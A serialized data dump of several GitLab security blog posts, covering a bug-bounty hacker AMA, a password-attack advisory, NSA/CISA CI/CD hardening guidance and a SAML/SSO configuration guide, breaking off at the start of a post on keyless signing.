\n\n## Getting to know our hacker\n**What’s your favorite weird food combination?**\n\nThe weirdest combination I've tried is beer with salt and chili. This is beyond my understanding.\n\n**If someone wrote a book about you, what would the title of the book be?**\n\n“Strange Days”\n\n**Sock, shoe, sock shoe, or sock sock, shoe shoe?**\n\nDefinitely shoe sock to complete the sequence of permutations.\n\n## Want to know more? Watch the replay!\n\nLearn more about check out the [YouTube live playback](https://www.youtube.com/watch?v=aJagtR77GwI). If you want to dive deeper, you can see all of our [Ask a Hacker AMAs here](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s). A huge thanks to everyone who joined live on the day, who submitted questions, and of course to Vlad!\n\nKeep up with Vladislav Nechakhin by following [him on Twitter](https://twitter.com/0xn3va) and [checking out his hacktivity on HackerOne](https://hackerone.com/0xn3va?type=user).\n\n## About the GitLab Bug Bounty program\nThe overarching goal of our bug bounty program is to make our products and services more secure. The program is managed by our Application Security team. Since launching our public bug bounty program in December 2018, we’ve resolved 1396 reports, awarded more than $3.5 million dollars in bounties and thanked 563 hackers for those findings.  You can see our program dashboard at https://hackerone.com/gitlab.\n\nCover image by [Fotis Fotopoulos](https://unsplash.com/@ffstop?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/DuHKoV44prg?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[14,899],{"slug":2639,"featured":6,"template":677},"ask-a-hacker","content:en-us:blog:ask-a-hacker.yml","Ask A Hacker","en-us/blog/ask-a-hacker.yml","en-us/blog/ask-a-hacker",{"_path":2645,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2646,"content":2651,"config":2656,"_id":2658,"_type":16,"title":2659,"_source":17,"_file":2660,"_stem":2661,"_extension":20},"/en-us/blog/unmasking-password-attacks-at-gitlab",{"title":2647,"description":2648,"ogTitle":2647,"ogDescription":2648,"noIndex":6,"ogImage":2085,"ogUrl":2649,"ogSiteName":767,"ogType":768,"canonicalUrls":2649,"schema":2650},"Unmasking password attacks at GitLab","Our security team has identified an increased volume of password attacks against GitLab.com on the OAuth API endpoint since September 22, 2023. Learn more.","https://about.gitlab.com/blog/unmasking-password-attacks-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unmasking password attacks at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2023-09-28\",\n      }",{"title":2647,"description":2648,"authors":2652,"heroImage":2085,"date":2653,"body":2654,"category":14,"tags":2655},[2464],"2023-09-28","\n\nOur security team has identified an increased volume of password attacks against GitLab.com on the [OAuth](https://docs.gitlab.com/ee/api/oauth2.html) API endpoint, starting on September 22, 2023. These attacks appear automated and are attempting to authenticate to multiple accounts that have simple usernames. While GitLab remains secure, we are increasing our security measures and are closely monitoring all activities to reduce the risk of account compromise.\n\nGitLab Security continues to monitor the attacks and is confident that our security controls are effectively mitigating them. To prevent these activities from locking out your accounts, GitLab recommends you enable two-factor authentication. We recently implemented a [product update](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/132758) to reduce the chances that accounts with [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) will get locked out.\n\nWe recommend the following precautions:\n- Enforce GitLab-layer two-factor authentication for accounts in your GitLab namespace.\n- Use the [Restrict Group Access](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#restrict-group-access-by-ip-address) by IP Address feature, which allows you to specify the IP addresses from which users can access the group. It is a helpful measure to ensure that only individuals within the organization can access specific resources.\n- Use [Git Abuse Rate Limiting](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) to automatically ban users who download, clone, pull, fetch, or fork more than a specified number of repositories of a group in a given time frame. \n- The password attempts could evolve and target another endpoint in the future. We recommend using strong, unique passwords and changing them regularly. \n- Be vigilant against phishing attempts and report any suspicious activities to our support team immediately.\n",[14],{"slug":2657,"featured":6,"template":677},"unmasking-password-attacks-at-gitlab","content:en-us:blog:unmasking-password-attacks-at-gitlab.yml","Unmasking Password Attacks At Gitlab","en-us/blog/unmasking-password-attacks-at-gitlab.yml","en-us/blog/unmasking-password-attacks-at-gitlab",{"_path":2663,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2664,"content":2670,"config":2675,"_id":2677,"_type":16,"title":2678,"_source":17,"_file":2679,"_stem":2680,"_extension":20},"/en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance",{"title":2665,"description":2666,"ogTitle":2665,"ogDescription":2666,"noIndex":6,"ogImage":2667,"ogUrl":2668,"ogSiteName":767,"ogType":768,"canonicalUrls":2668,"schema":2669},"How GitLab supports NSA and CISA CI/CD security guidance","GitLab can support your alignment with NSA and CISA CI/CD recommendations and best practices for cloud-based DevSecOps environments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683032/Blog/Hero%20Images/vaultimage.png","https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab supports NSA and CISA CI/CD security guidance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-19\",\n      }",{"title":2665,"description":2666,"authors":2671,"heroImage":2667,"date":2672,"body":2673,"category":14,"tags":2674},[772],"2023-09-19","\nIn June, the National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency (CISA) [issued a joint cybersecurity information sheet (CSI)](https://media.defense.gov/2023/Jun/28/2003249466/-1/-1/0/CSI_DEFENDING_CI_CD_ENVIRONMENTS.PDF) providing recommendations and best practices for cloud-based DevSecOps environments. Specifically, the CSI focuses on security hardening best practices for continuous integration/continuous delivery (CI/CD) cloud deployments.\n\nLet's take a look at the relevant threats, recommended countermeasures, and how the [GitLab DevSecOps Platform](https://about.gitlab.com/platform/) can support the implementation and enforcement of the countermeasures to help secure your CI/CD environment.\n\n## CI/CD environments are under threat\nOver the past few years, the software supply chain, and specifically CI/CD environments, have become a persistent and valuable target for malicious actors. Theft of proprietary code and data, injection of malicious links and redirects, and denial-of-service attacks are a few examples of why CI/CD environments have been such lucrative targets for threat actors.\n\nThe CSI outlines examples of common risks in CI/CD pipelines. These risks include:\n* insecure first-party code\n* insecure third-party code\n* poisoned pipeline execution\n* insufficient pipeline access controls\n* insecure system configuration\n* usage of insecure third-party services\n* exposure of secrets\n\nAdditional context can be found in the CSI and in [OWASP's top 10 CI/CD security risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/).\n\nNote: The CSI contains helpful information on potential threat scenarios and illustrations to help visualize different attack vectors.\n\n## Hardening recommendations for CI/CD environment\nAs a single, all-inclusive DevSecOps platform, GitLab's features support the implementation of the recommended mitigations from the NSA and CISA.\n\n### Authentication and access mitigation\nHere are the features that align with authentication and access mitigation.\n\n#### Use NSA-recommended cryptography\n_\"NSA and CISA recommend the implementation and configuration of strong cryptographic algorithms when configuring cloud applications and services.\"_\n\nGitLab's [GitLab.com](https://about.gitlab.com/solutions/) and [GitLab Dedicated](https://about.gitlab.com/dedicated/) SaaS solutions implement TLS 1.2+ for encrypting data in transit and AES-256-bit encryption for data at rest. You can learn more about our approach to cryptography in our [Cryptography Standard](https://about.gitlab.com/handbook/security/cryptographic-standard.html).\n\n#### Minimize the use of long-term credentials\n_\"Use strong credentials that are resistant to stealing, phishing, guessing, and replaying wherever and whenever possible.\"_\n\nTo support the use of strong credentials, GitLab enables you to centralize authentication and authorization responsibilities for your GitLab instance through [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) integrations. GitLab integrates with a wide range of identity providers to support our customers’ diverse tech stacks. GitLab also supports the System for Cross-Domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Through GitLab’s SSO and SCIM integrations, you can automate the lifecycle of your user identities in a secure and efficient manner.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) and [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) are also available for GitLab self-managed customers.\n\nGitLab supports [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html). Customers can enable one or both of the following second factors of authentication:\n\n* time-based one-time passwords ([TOTP](https://datatracker.ietf.org/doc/html/rfc6238))\n* WebAuthn devices\n\n> Check out our [Ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/) for more information.\n\n#### Add signature to CI/CD configuration and verify it\n_\"NSA and CISA recommend implementing secure code signing to establish digital trust\nwithin the CI/CD pipeline.\"_\n\nGitLab enables its customers to [sign commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/) using:\n* an [SSH key](https://docs.gitlab.com/ee/user/project/repository/signed_commits/ssh.html)\n* a [GPG key](https://docs.gitlab.com/ee/user/project/repository/signed_commits/gpg.html)\n* a [personal x.509 certificate](https://docs.gitlab.com/ee/user/project/repository/signed_commits/x509.html)\n\nGitLab's [push rules](https://docs.gitlab.com/ee/user/project/repository/push_rules.html) feature can also be used to reject individual commits if they are not signed with GPG, or you can choose to reject all commits from unverified users.\n\n![Signed commits](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/signed-commits.png)\n\nSigned commits verified and unverified badges\n{: .note.text-center}\n\n#### Utilize two-person rules (2PR) for all code updates\n_\"No single developer should be able to check in code without another developer\nreviewing and approving the changes.\"_\n\nGitLab enables users to configure their [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) (MRs) so that they must be approved before they can be merged. MR approvals allow users to set the minimum number of required approvals before work can merge into a project. Some examples of rules you can create include:\n* Users with specific permissions can always approve work.\n* [Code owners](https://docs.gitlab.com/ee/user/project/codeowners/index.html) can approve work for files they own.\n* Users with specific permissions can approve work, [even if they don’t have merge rights](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) to the repository.\n* Users with specific permissions can be allowed or denied the ability to [override approval rules on a specific MR](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nGitLab's MR approval [rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) can be configured and adapted to meet your organization's requirements and align with your risk tolerance.\n\n![MR approval settings](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/mr-approval-settings.png)\n\nExample of MR approval requirements\n{: .note.text-center}\n\n#### Implement least-privilege policies for CI/CD access\n_\"The CI/CD pipeline should not be accessible by everyone in the organization.\" \n\"Mitigate password risks by implementing multi-factor authentication (MFA).\"_\n\nGitLab enables you to [assign users a role](https://docs.gitlab.com/ee/user/permissions.html) when you add them to a project or group. A user’s role determines the actions they can take within your GitLab instance. The following roles are available for assignment:\n* Guest (private and internal projects only)\n* Reporter\n* Developer\n* Maintainer\n* Owner\n* Minimal access (available for the top-level group only)\n\nGitLab's role-based access control (RBAC) model enables you to limit a user’s permissions in accordance with the [principle of least privilege](https://csrc.nist.gov/glossary/term/least_privilege) and your business and information security requirements.\n\nAs mentioned [above](#minimize-the-use-of-long-term-credentials), GitLab supports two-factor authentication and can integrate with several SSO providers to support your tech stack and help you centralize authentication and authorization responsibilities.\n\n#### Secure user accounts\n_\"Regularly audit administrative user accounts and configure access controls under the\nprinciples of least privilege and separation of duties. Audit logs to ensure new accounts\nare legitimate.\"_\n\nAs mentioned in the [previous section](#implement-least-privilege-policies-for-cicd-access), GitLab enables you to assign roles and associated permissions to your users in a way that aligns with your business and information security requirements. GitLab's authorization feature enables you to support the principle of least privilege and the concept of separation of duties.\n\nKeep reading to understand how GitLab supports the NSA and CISA's audit log guidance.\n\n#### Secure secrets\n_\"Secure handling of secrets, tokens, and other credentials is crucial in a CI/CD pipeline.\"_\n\nGitLab's [secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) enables users to scan their repositories for exposed secrets and take action based on the scan results.\n\nWith secret detection, users can see scan results in multiple places such as GitLab's [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/index.html) and [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), and users can configure [automatic responses to leaked secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html).\n\n### Development process mitigations\nHere are features that support development process mitigations.\n\n#### Integrate security scanning as part of the CI/CD pipeline\n_\"Include security scanning early in the CI/CD process.\"_\n\nThe CSI recommends the implementation of the following tools:\n* static application security testing (SAST)\n* registry scanning\n* dynamic analysis security testing\n\nGitLab supports these recommendations through its [SAST](https://docs.gitlab.com/ee/user/application_security/sast/), [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/), [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), and [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) features. GitLab also offers additional scanning features such as [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) and [dynamic API security testing (DAST API)](https://docs.gitlab.com/ee/user/application_security/dast_api/).\n\nTogether, these [Secure stage](https://about.gitlab.com/features/?stage=secure) features provide comprehensive coverage to help you write secure code faster.\n\n#### Restrict untrusted libraries and tools\n_\"Only use software, tools, libraries, and artifacts from secure and trusted sources.\"_\n\nIn addition to [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), GitLab's [license compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html) feature enables organizations to incorporate trusted dependencies into their codebase that meet their unique business and security requirements.\n\nWith license compliance, you can check that your dependencies' licenses are compatible with your business and security requirements, and you can approve or deny dependencies based on configured license approval policies.\n\nNote: License compliance is only available for GitLab Ultimate users.\n\n#### Analyze committed code\n_\"Securing the CI/CD pipeline involves analyzing the code that is being committed, which can be achieved manually or by using automated tools.\"_\n\nAs an all-inclusive DevSecOps platform, GitLab supports a seamless and comprehensive approach to reviewing code changes.\n\nWith the scanning features mentioned [above](#integrate-security-scanning-as-part-of-the-cicd-pipeline), you can enable automated code reviews to help identify vulnerabilities, logic flaws, and policy violations.\n\nGitLab's [MR review](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/) feature streamlines the manual code review process. [Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers) makes it easy to identify users who are authorized to review and merge your changes.\n\n![Suggested Reviewers](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/suggested-reviewers.png){: .shadow.small.center}\n\nSuggested Reviewers\n{: .note.text-center}\n\nMR approval [rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) help ensure your code review requirements are enforced in a programmatic way.\n\n#### Remove any temporary resources\n_\"A CI/CD pipeline may also create temporary resources, such as virtual machines or Kubernetes clusters, to run tests. While test environments are usually always live, these temporary resources are meant to be created for a single test purpose and must be destroyed after the pipeline run.\"_\n\nWithin GitLab, a temporary runner VM hosts and runs each CI job. GitLab automatically issues a command to remove the temporary runner VM immediately after the CI job completes. Additional details on this process can be found in our documentation for [Security for SaaS runners](https://docs.gitlab.com/ee/ci/runners/#security-for-saas-runners).\n\n#### Keep audit logs\n_\"An audit log should provide clear information on who committed, reviewed, and deployed what, when, and where.\"_\n\nAs outlined in this [blog post](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/), GitLab enables you to use [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) to track important events, including who performed the related action and when. Audit events cover a broad range of categories, including:\n* group management\n* authentication and authorization\n* user management\n* compliance and security\n* CI/CD\n* GitLab Runners\n\n![Audit events](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExample of an audit event\n{: .note.text-center}\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) can be enabled. Audit event streaming enables users to set a streaming destination for a top-level group or instance to receive all audit events about the group, subgroups, and projects, as structured JSON.\n\n#### Implement an SBOM and SCA \n_\"A software bill of materials (SBOM) and software composition analysis (SCA) can play a useful role in the software development lifecycle (SDLC) and in DevSecOps by helping to track all third-party and open source components in the codebase.\"_\n\nGitLab's [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/) feature enables you to review your project or group’s dependencies, including their known vulnerabilities. \n\nCombining GitLab's dependency list feature with its [SCA](#restrict-untrusted-libraries-and-tools) suite of features supports a comprehensive strategy for identifying and remediating vulnerabilities and risks within your supply chain.\n\n![Dependency List](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/dependency-list.png)\n\nExample of dependency list results\n{: .note.text-center}\n\nNote: Dependency list is only available for GitLab Ultimate users.\n\n#### Plan, build, and test for resiliency\n_\"Build the pipeline for high availability, and test for disaster recovery periodically.\"_\n\nAs a SaaS provider, GitLab prioritizes your resiliency and efficiency needs. We maintain robust [business continuity](https://about.gitlab.com/handbook/business-technology/gitlab-business-continuity-plan/) and [disaster recovery](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/disaster-recovery/index.md) strategies to support the availability of the GitLab platform, and we provide helpful strategies for GitLab users to maintain [pipeline efficiency](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html).\n\nIf you'd like to learn more about what we're doing to maintain the security, confidentiality, and availability of the GitLab platform, please request our [Customer Assurance Package](https://about.gitlab.com/security/cap/).\n\n## Learn more\nAs a comprehensive DevSecOps platform, GitLab supports a broad range of requirements and recommendations. CI/CD environments have become lucrative targets for malicious actors, and the CSI provides excellent guidance for protecting such a critical component of an organization's assets. As a strategic partner, GitLab supports your efforts to safeguard your CI/CD environment and enables you to develop secure software faster. \n\nTo learn more about these features, have a look at our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).\n",[14,715,2426,110],{"slug":2676,"featured":6,"template":677},"how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance","content:en-us:blog:how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance.yml","How Gitlab Supports The Nsa And Cisa Cicd Security Guidance","en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance.yml","en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance",{"_path":2682,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2683,"content":2689,"config":2695,"_id":2697,"_type":16,"title":2698,"_source":17,"_file":2699,"_stem":2700,"_extension":20},"/en-us/blog/the-ultimate-guide-to-enabling-saml",{"title":2684,"description":2685,"ogTitle":2684,"ogDescription":2685,"noIndex":6,"ogImage":2686,"ogUrl":2687,"ogSiteName":767,"ogType":768,"canonicalUrls":2687,"schema":2688},"The ultimate guide to enabling SAML and SSO on GitLab.com","Learn how to make full use of SAML and SSO security features on the GitLab DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666495/Blog/Hero%20Images/cover-1800x945.png","https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to enabling SAML and SSO on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bradley Lee\"}],\n        \"datePublished\": \"2023-09-14\",\n      }",{"title":2684,"description":2685,"authors":2690,"heroImage":2686,"date":2692,"body":2693,"category":14,"tags":2694},[2691],"Bradley Lee","2023-09-14","\nAs a follow-on to the recent blog, [The ultimate guide to securing your code on\nGitLab.com](https://about.gitlab.com/blog/securing-your-code-on-gitlab/),\nwe recommended enabling SAML (Security Assertion Markup Language) and SSO (single\nsign-on) to enable tighter control over code access. Let’s take a deep dive into\nhow to enable SAML and SSO on GitLab.com.\n\n## What are SAML and SSO?\nSAML is an open standard, which service providers (like GitLab.com) and\nidentity providers (commonly referred to as IdPs) use to communicate\nauthentication data. SSO is provided by IdPs, such as Okta and Entra ID\n(formerly Azure AD), and enables users to log into multiple systems or service\nproviders through a single interface with a single set of credentials.\n\nAs with any configuration, there should be thoughtful and careful planning when\nenabling SSO.\n\n### What are the benefits of SSO?\nIn general, enabling SSO streamlines the user experience by unifying the login\nprocess and reducing the account and password bloat required for multiple\nenterprise applications. Enabling SSO also adds an extra layer of security and\nmanagement efficiency for identity management teams by providing a single\nsource of truth for authentication. Below, you’ll learn how SAML SSO applies\nspecifically to GitLab.com.\n\n## Configuring SSO and SAML for GitLab.com\nPremium and Ultimate tiers can enable SSO in the settings available at the\nnamespace or top level group.\n\n### Enabling SSO at the group level\nBefore getting started, you’ll need a few key\npieces of information from your chosen IdP:\n- The IdP SSO URL\n- The certificate fingerprint provided by the IdP application\n\nOnce these key pieces are entered, check the “Enable SAML\nauthentication for this group” box. \n\n### How user accounts are linked\nBefore we proceed further into configuration, let’s take a look at how GitLab\nauthenticates against the IdP.\n\nFor GitLab.com, each user who requires access to\nthe system must have an account on GitLab.com. By default, when a user first\nattempts logging into GitLab via SSO, GitLab will receive the SAML assertion\nand validate if the identity (specifically the email address) is linked to a\nGitLab.com account. If not, GitLab will request the user either login to an\nexisting account or create a new account. In most instances, this may not be\ndesired behavior; however, we will address this later in the process. We’ve\nprovided a flowchart below to help you navigate the provisioning flow.\n\n![image of saml group links](https://about.gitlab.com/images/blogimages/2023-09-14-ultimate-guide-to-enabling-saml/saml-provisioning.png)\n\n### Enforcing SSO\nTo further increase security, there are two options available for enforcing\nSSO. Assuming neither are checked, users with access to the namespace can log\nin with either the SSO credentials or the GitLab.com credentials.\n\nHere is a working example that we can use to follow along as we discuss how the\nconfiguration options affect our baseline. Let’s consider a user in the IdP\nwhere the username is `idpusername` and contains a super secret password:\n`idppassword` (apologies, security professionals). Taking into account the\ninformation we just learned about account linking, let us also assume our demo\nuser created a new account following the prompt from an SSO login with a\nusername of `gitlabusername` and `gitlabpassword` as an even more secure\npassword.\n\n#### Enforcing SSO only for web\nWhen enabling the “Enforce SSO-only authentication for web activity for this\ngroup” setting, all members must now access all groups and projects under the\nhierarchy using the configured SSO login regardless of whether they have an\nexisting SAML identity. As we mentioned prior, with this flag disabled, our\n`idpusername` user will be able to log into the GitLab namespace with either\nthe `idpusername` or `gitlabusername` credential sets. When we enable this\nsetting for web-based activity ([further details in\ndocs](https://docs.gitlab.com/ee/user/group/saml_sso/#sso-only-for-web-activity-enforcement)),\nour group is now only accessible by the `idpusername` credential set.\n\n#### Enforcing SSO only for Git proxy\nVery similar to enforcing SSO for web, when the “Enforce SSO-only\nauthentication for Git and Dependency Proxy” activity for this group option is\nenabled, a few things happen:\n- Calling an API endpoint that involves Git activity requires SSO.\n- For Git activity over SSH and HTTPS, users must have at least one active session signed-in through SSO before they can push to or pull.\n\nThere is a strong recommendation to enable both of these settings to take full\nadvantage of the benefits of SSO for users and administrators through\ncentralized authentication.\n\n### Enterprise user support\nNow that we know how some of the configuration options can help secure access,\nlet’s take a deeper dive into user management. Consider the following scenario:\nOur `idpusername` user has decided to pursue another opportunity outside of the\ndomain. Based on what we have configured now, once the account has been\ndeprovisioned from the IdP, it should no longer have access to anything secured\nbehind it on GitLab.com. However, while the user will not have access, the\nassociated user ID and roles still remain until manually removed. This is where\nEnterprise users come in.\n\n#### What are Enterprise users in GitLab?\nIf you look closely, any user that has a linked SSO account will carry a `SAML`\nbadge in the member list. GitLab also has an associated `Enterprise` badge\nthat grants additional management functionality through SSO. For a user to\ncarry the `Enterprise` badge, the user must either have the initial GitLab.com account creation initiated by a SAML SSO login or have the initial GitLab.com account created by SCIM.\n\n#### What is SCIM?\nSCIM, or System for Cross-domain Identity Management, is another standard\nused in conjunction with SAML, primarily for provisioning and deprovisioning\nacross multiple systems. By enabling SCIM for your GitLab.com group (which is\ncurrently supported with Entra ID and Okta), you can enable automatic\nprovisioning and deprovisioning of accounts.\n\nIf we look back at some of our scenarios, without SCIM, our `idpusername` user\nwas prompted to create or link a GitLab.com account on first login. With SCIM\nenabled, this process is handled automatically based on information provided\nand managed by the IdP and is completely transparent to the end user. The\nsecond half of our scenario, where our `idpusername` user is deprovisioned from\nthe IdP, also is solved with automation via SCIM. In this instance, when the\nuser is removed on the IdP side, SCIM automatically disconnects the SAML\nidentity from the GitLab.com account and removes the user from the GitLab.com\ngroup.\n\n#### Protecting your intellectual property\nAnother important feature of Enterprise users is the ability to control two\nvery important user settings that are not accessible to group administrators on\nGitLab.com. Since all users require an account on GitLab.com, they are also\ngranted access to a personal user namespace. For example, our `idpusername` will have access to our Acme Corp. group at `.com/acmecorp`, and will also have\naccess to their own personal space at `.com/idpusername`. One common concern with this is the ability for users to take code out of the organization\nnamespace and commit to their own personal namespace.\n\nWith Enterprise users, we have two settings that we can control based on attributes received in the SAML\nresponse. These keys are `projects_limit` and `can_create_group`. The\n`projects_limit` is an integer value that sets the amount of projects a user\ncan create in their personal namespace. When set to `0`, this effectively\ndisables project creation in that space. Similarly, `can_create_group` is a\nboolean `true` or `false` value that indicates whether a user can create new\ngroups.\n\n### Managing roles with SAML\nNow that we know the ins and outs of creating and removing users with SAML and\nSCIM, how can we leverage our work to help manage our active users? In this\nfinal section, we’ll take a look at why we recommend setting default membership\nto \"Minimal Access\" and how to leverage group memberships in the IdP.\n\n#### Why Minimal Access?\nIn the [Ultimate guide to securing your code on GitLab](https://about.gitlab.com/blog/securing-your-code-on-gitlab/),\nwe recommend setting the default membership role to Minimal Access, and\noperating with the concept of least privilege. Roles can be elevated as needed\nin subgroups or individual projects while preventing visibility to projects or\nsubgroups where the user is not explicitly granted another role. By default,\nthis option is set to Guest, which will allow all provisioned users guest\naccess to the repositories. Default membership controls are available at the\ntop-level group, along with the SAML and SSO settings. For automation at the\nsubgroup level, we can leverage SAML Group Sync.\n\n#### Configuring SAML Group Sync with SAML Group Links\nBefore we dive into the configuration, there is one very important step we need\nto take. The configured SAML assertion that is sent MUST include an attribute\nnamed `Groups` or `groups`. If SAML Group Links are present without the\nattribute in the assertion, users may be removed from the group or reverted to\nMinimal Access.\n\nAfter we ensure our assertions contain the necessary information, we can start\nusing SAML Group Links to automatically assign membership roles to GitLab\ngroups based on group membership in the IdP. Let’s build on our demo user\n`idpusername` by considering the following:\n- `idpusername` is a maintainer on the acme-web project.\n- The `acme-web` project exists under the `acme-corp` namespace, under subgroup `acme-com`.\n- The full path to the project would be `.com/acme-corp/acme-com/acme-web`.\n- `idpusername` should also be granted developer access for the `acme-db` project, which is also under the `acme-com` group.\n- In our IdP, `idpusername` is a member of the IdP group `idp-acme-com`.\n\nSAML group links allow us to map IdP group memberships to role assignments at\nthe GitLab group level. In this scenario, we can create a group link at the\n`acme-com` group in GitLab that maps the IdP group `idp-acme-com` to the\ndeveloper role to the `acme-com` group.\n\nDue to inheritance, our `idpusername`\nuser will be granted developer access and associated visibility to every\nproject and group that falls under the GitLab `acme-com` group automatically by\nvirtue of the IdP group membership, because we’re working under the concept of\nleast privilege for the `acme-web` project.\n\nThe `idpusername` user’s role can\nbe elevated to maintainer directly in the project. From a user perspective,\n`idpusername` would still carry the Minimal Access role at the `acme-corp`\ngroup as well. This allows a separation of access management between\nengineering and identity management teams and allows role management to be\nflexible with guardrails.\n\n![image of saml group links](https://about.gitlab.com/images/blogimages/2023-09-14-ultimate-guide-to-enabling-saml/saml-group-links.png)\n\nWith this approach, it’s important to find that balance between what is managed\nin the IdP and what is managed in GitLab. It’s possible to have hundreds of\ngroup mappings to roles in the IdP and almost completely remove role management\nwithin GitLab and vice versa. The flexibility that GitLab allows enables you to\nfind the best solution that works for you. Building on our example, if we hire\nanother engineer for the `acme-com` project, they can be added to the GitLab\napplication in the IdP, and added to the `idp-acme-com` group. This\nautomatically assigns them the developer role at the `acme-com` group and for\nall projects under it, while limiting access to any other groups outside of\n`acme-com` in the namespace.\n\n## Learn more\nWe’ve covered how to get started with enabling SAML and SSO on your GitLab.com\ngroup, along with how to leverage the features to programmatically manage users\nand roles with real examples. For more information, see the full [SAML SSO for\nGitLab.com groups](https://docs.gitlab.com/ee/user/group/saml_sso/)\ndocumentation.\n\nCover image by [Towfiqu barbhuiya](https://unsplash.com/photos/FnA5pAzqhMM) on [Unsplash](https://unsplash.com)\n{: .note}\n",[14,696,479],{"slug":2696,"featured":6,"template":677},"the-ultimate-guide-to-enabling-saml","content:en-us:blog:the-ultimate-guide-to-enabling-saml.yml","The Ultimate Guide To Enabling Saml","en-us/blog/the-ultimate-guide-to-enabling-saml.yml","en-us/blog/the-ultimate-guide-to-enabling-saml",{"_path":2702,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2703,"content":2708,"config":2714,"_id":2716,"_type":16,"title":2717,"_source":17,"_file":2718,"_stem":2719,"_extension":20},"/en-us/blog/keyless-signing-with-cosign",{"title":2704,"description":2705,"ogTitle":2704,"ogDescription":2705,"noIndex":6,"ogImage":2085,"ogUrl":2706,"ogSiteName":767,"ogType":768,"canonicalUrls":2706,"schema":2707},"Streamline security with keyless signing and verification in GitLab","Our partnership with Sigstore means that with just a few lines in a yml file, GitLab customers can make their development environment more secure.","https://about.gitlab.com/blog/keyless-signing-with-cosign","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline security with keyless signing and verification in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam White\"}],\n        \"datePublished\": \"2023-09-13\",\n      